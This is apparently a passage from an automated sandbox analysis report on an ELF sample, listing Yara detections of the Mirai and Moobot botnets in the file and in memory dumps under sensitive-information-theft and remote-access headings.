Source: 86xklcDnGU.elf, 6223.1.00007fff0480b000.00007fff0482c000.rw-.sdmp, 86xklcDnGU.elf, 6250.1.00007fff0480b000.00007fff0482c000.rw-.sdmp, 86xklcDnGU.elf, 6254.1.00007fff0480b000.00007fff0482c000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: 86xklcDnGU.elf, type: SAMPLE
Source: Yara match File source: 6254.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6250.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6223.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 86xklcDnGU.elf PID: 6223, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 86xklcDnGU.elf PID: 6250, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 86xklcDnGU.elf PID: 6254, type: MEMORYSTR
Yara detected Moobot
Source: Yara match File source: 86xklcDnGU.elf, type: SAMPLE
Source: Yara match File source: 6254.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6250.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6223.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 86xklcDnGU.elf PID: 6250, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 86xklcDnGU.elf PID: 6254, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: 86xklcDnGU.elf, type: SAMPLE
Source: Yara match File source: 6254.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6250.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6223.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 86xklcDnGU.elf PID: 6223, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 86xklcDnGU.elf PID: 6250, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 86xklcDnGU.elf PID: 6254, type: MEMORYSTR
Yara detected Moobot
Source: Yara match File source: 86xklcDnGU.elf, type: SAMPLE
Source: Yara match File source: 6254.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6250.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6223.1.00007fc040011000.00007fc040036000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 86xklcDnGU.elf PID: 6250, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 86xklcDnGU.elf PID: 6254, type: MEMORYSTR

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⊘No contacted IP infos